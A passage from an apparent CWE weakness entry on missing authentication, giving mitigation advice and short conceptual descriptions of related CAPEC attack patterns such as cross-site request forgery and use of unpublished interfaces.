- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.